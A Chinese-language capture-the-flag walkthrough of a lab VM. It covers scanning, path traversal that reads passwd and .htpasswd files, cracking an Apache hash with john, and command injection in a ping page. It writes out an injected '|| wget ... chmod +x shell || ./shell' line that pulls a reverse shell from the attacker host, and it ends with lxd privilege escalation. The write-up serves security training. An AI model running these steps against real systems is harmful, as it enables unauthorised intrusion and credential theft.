kali: 192.168.0.103
目标机：192.168.0.105
0X01 扫描端口和目录
a)扫描端口
开启了80和22端口
b)扫描目录
看到两个敏感字样的目录
尝试访问/webadmin 目录，没有账号密码进不去
另一个也被禁止访问
c)深度扫描目录
dirb http://192.168.0.105 -X .txt,.html,.php,.zip
看到有个download文件，但是下载后是个空文件
0X02 查看80端口的网页结构，获取有效信息
是一个不需要密码的登陆界面，尝试admin登陆没用，注册一个账号登陆进去
暴露了这是一个文件共享的系统
Google搜索此系统
得到两个漏洞
一个目录遍历
一个跨站请求伪造
0X03 使用目录遍历
有两个文件可以目录遍历，尝试任选一个包含passwd文件成功
0X04 爆破ssh
通过passwd我们可以看到用户名是aiweb2
尝试进行爆破ssh登陆
并没有获得密码
0X05 查看配置文件和日志文件，尝试包含日志
得到一个apache配置文件，没得到什么信息
读取apache和ssh日志，都失败，可能没有权限读取
后来查看别人的文章才知道，思路是对的，但是文件没找到，读取/etc/apache2/.htpasswd文件,为什么会想到查看这个文件，后面我理解了，因为之前我们扫到了webadmin的目录，网站后台登陆
读取/etc/apache2/.htpasswd文件得到一串密码aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
使用john破解hash，将密码粘贴到test.txt中
john --wordlist=‘/usr/share/wordlists/rockyou.txt‘ test.txt john --show test.txt
rockyou.txt是收集的已泄露密码文件
0X06 进入网站后台
暗示我们查看robots文件
查看两个目录，第一个是ping命令，联想到命令执行漏洞
第二个目录，翻译：在此目录中找到多汁的信息！！！
使用dirb 搜索目录，什么也没找到
0X07 利用第一个目录
a)查看是否有命令执行漏洞
b)命令执行漏洞存在，使用漏洞获得shell
使用命令执行下载大马上去，密码正确进不去
下载msf生成的php文件，访问上线后立马挂掉
写了个一句话木马进去，也连不上,也不知道为什么
最后用msf的linux/x86/meterpreter/reverse_tcp这个payload反弹成功，制作过程不演示，
|| wget http://192.168.0.103/shell || chmod +x shell || ./shell
0X08 提权
a) 查看当前网站目录下是否还有遗漏的重要信息
在另一个目录下发现隐藏文件，查看内容记录着ssh的账号密码
b) 登陆ssh
uname -an 查看内核信息 不优先使用内核提权
id 查看当前用户权限 发现lxd
LXD：Linux的下一代容器管理器
谷歌搜索相关漏洞： lxd exploit
查到一条相关漏洞，版本要求Ubuntu18.04
cat /etc/issue
查看当前版本，可以利用
下载exp并查看是使用说明
原文地址：https://www.cnblogs.com/sup3rman/p/12310357.html